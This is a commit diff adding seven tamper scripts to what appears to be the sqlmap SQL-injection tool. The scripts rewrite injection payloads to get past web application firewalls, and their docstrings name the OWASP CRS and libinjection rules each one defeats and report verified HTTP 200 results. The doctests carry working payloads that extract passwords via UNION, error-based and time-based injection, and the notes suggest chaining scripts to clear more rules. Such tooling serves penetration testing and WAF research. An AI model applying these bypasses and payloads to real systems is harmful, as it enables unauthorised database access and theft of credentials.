Adding new tamper scripts

This commit is contained in:
Miroslav Štampar 2026-08-17 14:28:48 +02:00
parent cbe892410c
commit 0ba9df2589
8 changed files with 433 additions and 1 deletions

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.8.40"
VERSION = "1.10.8.41"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

58
tamper/castprefix.py Normal file
View file

@ -0,0 +1,58 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Wraps a leading numeric value into a CAST() call (e.g. -1 UNION ... -> cast(-1 as decimal) UNION ...)
Requirement:
* MySQL
* MariaDB
* PostgreSQL
* Microsoft SQL Server
Tested against:
* MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0
* Percona 8.0.46
* MariaDB 10.7.8, 10.11.14, 11.4.12, 11.8.8, 12.0.2
* PostgreSQL 13.23, 17.11
* Microsoft SQL Server 2022
Notes:
* Useful to bypass web application firewalls, verified against ModSecurity v3 with the
OWASP CRS (paranoia level 1, blocking mode), where it takes the tautology,
boolean-based, error-based and time-based payloads to 0 anomaly points and they are
answered with HTTP 200
* The OWASP CRS rule 942360 is anchored with '^[\\W\\d]+\\s*?<keyword>', so it can only
match when the payload starts with non-word characters or digits. Starting it with a
letter instead makes the rule fail at the first position
* Rated benign by libinjection 4.0.0 as well, which is CRS rule 942100
* 'decimal' is used as the target type because it is the one spelling accepted by all
of MySQL, MariaDB, PostgreSQL and Microsoft SQL Server ('signed' is MySQL only,
'int' is rejected by MySQL), while the numeric value itself is left unchanged
* For MySQL only, tamper script 'odbcbrace' achieves the same with a shorter prefix
>>> tamper('-1 UNION ALL SELECT NULL,NULL-- -')
'cast(-1 as decimal) UNION ALL SELECT NULL,NULL-- -'
>>> tamper('1 AND SLEEP(5)')
'cast(1 as decimal) AND SLEEP(5)'
>>> tamper('-4162 OR 1=1#')
'cast(-4162 as decimal) OR 1=1#'
>>> tamper("' OR 1=1-- -")
"' OR 1=1-- -"
"""
return re.sub(r"\A(?P<num>[+-]?\d+)(?![\w.])", r"cast(\g<num> as decimal)", payload) if payload else payload

68
tamper/mid2leftright.py Normal file
View file

@ -0,0 +1,68 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
"""
Replaces (MySQL) instances like 'MID(A, B, C)' with 'RIGHT(LEFT(A, B+C-1), C)' counterpart
Requirement:
* MySQL
* MariaDB
Tested against:
* MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0
* Percona 8.0.46
* MariaDB 10.7.8, 10.11.14, 11.4.12, 11.8.8, 12.0.2
Notes:
* Useful to bypass web application firewalls, as the OWASP CRS rule 942151 (added in
CRS v4) blacklists a long list of SQL function names, MID, SUBSTR and SUBSTRING
among them, while LEFT and RIGHT are not on that list
* Verified against ModSecurity v3 with the OWASP CRS v4.25.0 (paranoia level 1,
blocking mode), where 'LEFT((SELECT pw FROM users LIMIT 1),1)=0x73' and
'RIGHT(LEFT((SELECT pw FROM users LIMIT 1),3),1)=0x63' are both answered with
HTTP 200 and still work on all tested engines
* Note that ORD() and ASCII() are on that same blacklist, so payload shapes comparing
the extracted character directly (rather than its code point) are the ones helped
* Existing tamper script 'substring2leftright' does not apply here, as it only
rewrites the PostgreSQL 'SUBSTRING(A FROM B FOR C)' spelling
* Combine it with tamper script 'castprefix' to also clear rule 942360, e.g.
--tamper=mid2leftright,castprefix
>>> tamper('MID(pw, 1, 1)')
'RIGHT(LEFT(pw, 1), 1)'
>>> tamper('SUBSTRING(pw, 2, 3)')
'RIGHT(LEFT(pw, 4), 3)'
>>> tamper('1 AND SUBSTR((SELECT pw FROM users LIMIT 1),1,1)=0x73')
'1 AND RIGHT(LEFT((SELECT pw FROM users LIMIT 1),1),1)=0x73'
>>> tamper('1 AND 1=1')
'1 AND 1=1'
"""
def _(match):
pos, length = match.group("pos").strip(), match.group("len").strip()
if pos.isdigit() and length.isdigit():
end = str(int(pos) + int(length) - 1)
else:
end = "%s+%s-1" % (pos, length)
return "RIGHT(LEFT(%s,%s%s),%s%s)" % (match.group("expr"), match.group("sp1"), end, match.group("sp2"), length)
return re.sub(r"(?i)\b(?:MID|SUBSTRING|SUBSTR)\(\s*(?P<expr>(?:[^()]|\([^()]*\))+?)\s*,(?P<sp1>\s*)(?P<pos>[^,()]+),(?P<sp2>\s*)(?P<len>[^,()]+)\)", _, payload) if payload else payload

View file

@ -0,0 +1,36 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL))
def tamper(payload, **kwargs):
"""
Replaces (MsSQL) statement separator ';' with a blank character
Notes:
* Useful to bypass filters/WAFs blocking the ';' character, as
Transact-SQL does not require any separator between statements
>>> tamper(";WAITFOR DELAY '0:0:5'--")
" WAITFOR DELAY '0:0:5'--"
>>> tamper(";DECLARE @x CHAR(9);SET @x=0x303a303a35;WAITFOR DELAY @x")
' DECLARE @x CHAR(9) SET @x=0x303a303a35 WAITFOR DELAY @x'
>>> tamper("1' AND 'a'='a")
"1' AND 'a'='a"
"""
return re.sub(r";(?=\s*(?:WAITFOR|DECLARE|SET|EXEC(?:UTE)?|SELECT|INSERT|UPDATE|DELETE|CREATE|DROP|ALTER|TRUNCATE|BEGIN|IF|WHILE|PRINT|USE|GRANT|REVOKE|BACKUP|RESTORE|RECONFIGURE|SHUTDOWN|WITH)\b)", ' ', payload, flags=re.I) if payload else payload

70
tamper/odbcbrace.py Normal file
View file

@ -0,0 +1,70 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
"""
Prepends a (MySQL) ODBC escape sequence to a numeric payload (e.g. -1 UNION ... -> {x !0}*-1 UNION ...)
Requirement:
* MySQL
* MariaDB
Tested against:
* MySQL 5.5.62, 5.7.44, 8.0.46, 8.4.9
* MariaDB 10.7.8, 10.11.14, 11.8.8
Notes:
* Useful to bypass web application firewalls using libinjection (e.g. ModSecurity with
the OWASP CRS), still effective against libinjection 4.0.0
* Verified against ModSecurity v3 with the OWASP CRS (paranoia level 1, blocking mode),
where it takes the boolean-based and error-based payloads down to 0 anomaly points
and they are answered with HTTP 200, on all of MySQL 5.5-9.4, Percona and
MariaDB 10.7-12.0, e.g.
{x !0}*1 AND SUBSTR((SELECT pw FROM users LIMIT 1),1,1)=0x73
{x !0}*1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT pw FROM users LIMIT 1)))
Time-based payloads are not helped, as SLEEP() is matched by a separate rule
* MySQL accepts the undocumented ODBC escape sequence '{<identifier> <expr>}' as a plain
expression anywhere an expression is allowed, discarding the identifier, hence
'{x !0}' is simply 1 and '{x !0}*<num>' preserves the original numeric value
* libinjection folds away a left brace followed by a bareword ("weird ODBC / MYSQL
{foo expr} --> expr") and restarts folding, so the fingerprint of the remaining
payload no longer matches its database and the whole payload is rated benign
* The inner expression has to start with an unary operator, as '{x 1}' is still being
detected, while '{x !0}' is not
* The brace has to lead the payload, hence only payloads starting with a number are
being processed (i.e. numeric injection points), while payloads starting with a
quote character are deliberately left untouched, as those are still being detected
* Against ModSecurity with the OWASP CRS this additionally clears rule 942360
'^[\\W\\d]+\\s*?<keyword>', as the leading '{' is followed by a word character.
Combine it with tamper script 'uniontable' (which clears 942270) to get a UNION
payload through: --tamper=uniontable,odbcbrace
>>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -')
'{x !0}*-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -'
>>> tamper('1 AND 5=5')
'{x !0}*1 AND 5=5'
>>> tamper('1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT pw FROM users LIMIT 1)))')
'{x !0}*1 AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT pw FROM users LIMIT 1)))'
>>> tamper('-4162 OR 1=1#')
'{x !0}*-4162 OR 1=1#'
>>> tamper("' UNION ALL SELECT NULL-- -")
"' UNION ALL SELECT NULL-- -"
"""
return re.sub(r"\A(?P<num>[+-]?\d+)(?![\w.])", r"{x !0}*\g<num>", payload) if payload else payload

55
tamper/quote2ltat.py Normal file
View file

@ -0,0 +1,55 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
"""
Adds '<@' right after a leading single quote followed by OR (e.g. ' OR 1=1-- - -> '<@ OR 1=1-- -)
Requirement:
* MySQL
Tested against:
* MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0
* Percona 8.0.46
Notes:
* Useful to bypass web application firewalls in single-quoted injection points. For
those, the only OWASP CRS rule that fires on a plain tautology is 942100 (i.e.
libinjection), and libinjection does not model the '<@' sequence, so the resulting
payload is rated benign
* Verified against ModSecurity v3 with the OWASP CRS 3.3.10, ModSecurity v2 with the
OWASP CRS 4.25.0 and Coraza with the CRS development branch (v4.29.0), all of them
answering with HTTP 200
* MySQL lexes the '@' as an (empty) user variable, hence ''<@ evaluates to NULL and the
following OR still decides the predicate, e.g. "name=''<@ OR 1=1-- -" is a tautology
* Only payloads where the quote is followed by OR (or ||) are processed, as NULL AND
<condition> is NULL and would silently break AND based payloads
* MariaDB rejects the sequence, hence MySQL and Percona only
>>> tamper("' OR 1=1-- -")
"'<@ OR 1=1-- -"
>>> tamper("' OR LEFT((SELECT pw FROM users LIMIT 1),1)=0x73-- -")
"'<@ OR LEFT((SELECT pw FROM users LIMIT 1),1)=0x73-- -"
>>> tamper("' AND 1=1-- -")
"' AND 1=1-- -"
>>> tamper('-1 OR 1=1-- -')
'-1 OR 1=1-- -'
"""
return re.sub(r"(?i)\A'\s*(?=(?:OR|\|\|)\b)", "'<@ ", payload) if payload else payload

55
tamper/sleep2hex.py Normal file
View file

@ -0,0 +1,55 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
"""
Replaces (MySQL) instances like 'SLEEP(5)' with 'SLEEP(0x5)' counterpart
Requirement:
* MySQL
* MariaDB
Tested against:
* MySQL 5.5.62, 5.7.44, 8.0.36, 8.0.46, 8.4.9, 9.4.0
* Percona 8.0.46
* MariaDB 10.7.8, 10.11.14, 11.4.12, 11.8.8, 12.0.2
Notes:
* Useful to bypass web application firewalls, as the OWASP CRS rule 942160
'(?i:sleep\\(\\s*?\\d*?\\s*?\\)|benchmark\\(.*?\\,.*?\\))' only matches a run of plain
decimal digits between the parentheses, while MySQL happily accepts a hexadecimal
literal there
* Verified against ModSecurity v3 with the OWASP CRS (paranoia level 1, blocking mode),
where 'SLEEP(3)' scores 5 anomaly points and is blocked, while 'SLEEP(0x3)' scores 0
and is answered with HTTP 200, the delay still being applied on all tested engines
* Combine it with tamper script 'odbcbrace' to also clear rule 942100 (libinjection),
e.g. --tamper=sleep2hex,odbcbrace
* 'SLEEP(5.0)' works just as well, for the same reason
>>> tamper('1 AND SLEEP(5)')
'1 AND SLEEP(0x5)'
>>> tamper('1 AND (SELECT SLEEP( 12 ))')
'1 AND (SELECT SLEEP(0xc))'
>>> tamper('1 AND SLEEP(0)')
'1 AND SLEEP(0x0)'
>>> tamper('1 AND 1=1')
'1 AND 1=1'
"""
return re.sub(r"(?i)\bSLEEP\(\s*(\d+)\s*\)", lambda match: "SLEEP(%s)" % hex(int(match.group(1))), payload) if payload else payload

90
tamper/uniontable.py Normal file
View file

@ -0,0 +1,90 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
"""
Replaces UNION SELECT * FROM <table> with the (MySQL) explicit table statement UNION TABLE <table>
Requirement:
* MySQL >= 8.0.19
Tested against:
* MySQL 8.0.36, 8.0.46, 8.4.9, 9.4.0
* Percona 8.0.46
Notes:
* Useful to bypass web application firewalls, as the resulting payload contains neither
the SELECT nor the FROM keyword. Verified against ModSecurity v3 with the OWASP CRS
(paranoia level 1, blocking mode), where the plain counterpart scores 20 anomaly
points and is blocked, while the rewritten payload scores 0 and is answered with
HTTP 200
* The rule doing most of the work there is 942270 '(?i)union.*?select.*?from', which
needs all three keywords in that order. TABLE <table> is a complete query block on
its own (sql_yacc.yy query_primary has exactly three alternatives: SELECT, VALUES and
TABLE), so the branch carries none of them
* Also rated benign by libinjection 4.0.0, which is CRS rule 942100
* TABLE <table> is strictly defined as SELECT * FROM <table>, hence only a bare '*'
column list is rewritten. Payloads carrying an explicit column list are deliberately
left untouched, as TABLE can neither project columns nor carry the concatenated
delimiters used for retrieving the query output
* Trailing ORDER BY and LIMIT clauses are supported by TABLE and are kept as they are,
while a WHERE clause is not, hence such payloads are deliberately left untouched
* Both the UNION branch form and the parenthesized subquery form are rewritten
* On its own the rewritten payload still trips CRS rule 942360
'^[\\W\\d]+\\s*?<keyword>' when it starts with a bare number. Chaining it with
tamper script 'odbcbrace' clears that too: --tamper=uniontable,odbcbrace
* MariaDB does not implement the TABLE statement at all
>>> tamper('-1 UNION ALL SELECT * FROM users-- -')
'-1 UNION ALL TABLE users-- -'
>>> tamper('-1 UNION SELECT * FROM `mysql`.`user`#')
'-1 UNION TABLE `mysql`.`user`#'
>>> tamper('-1 UNION ALL SELECT * FROM users ORDER BY 1 LIMIT 1-- -')
'-1 UNION ALL TABLE users ORDER BY 1 LIMIT 1-- -'
>>> tamper('-1 AND (SELECT * FROM one)=0x41-- -')
'-1 AND (TABLE one)=0x41-- -'
>>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL FROM users-- -')
'-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL FROM users-- -'
>>> tamper('-1 UNION SELECT * FROM users WHERE id=1-- -')
'-1 UNION SELECT * FROM users WHERE id=1-- -'
"""
def _union(match):
tail = (match.group("tail") or "").strip()
if tail and not re.match(r"(?i)\A(?:ORDER\s+BY|LIMIT)\b", tail):
return match.group(0)
return "%s%s TABLE %s%s" % (match.group("union"), match.group("all") or "", match.group("table"), (" %s" % tail) if tail else "")
def _subquery(match):
tail = (match.group("tail") or "").strip()
if tail and not re.match(r"(?i)\A(?:ORDER\s+BY|LIMIT)\b", tail):
return match.group(0)
return "(TABLE %s%s)" % (match.group("table"), (" %s" % tail) if tail else "")
retVal = payload
if retVal:
retVal = re.sub(r"(?i)(?P<union>UNION)(?P<all>\s+ALL)?\s+SELECT\s+\*\s+FROM\s+(?P<table>`[^`]+`(?:\.`[^`]+`)?|\w+(?:\.\w+)?)(?P<tail>[\s\S]*?)(?=(?:--|#|/\*)|\Z)", _union, retVal)
retVal = re.sub(r"(?i)\(\s*SELECT\s+\*\s+FROM\s+(?P<table>`[^`]+`(?:\.`[^`]+`)?|\w+(?:\.\w+)?)(?P<tail>[^()]*?)\s*\)", _subquery, retVal)
return retVal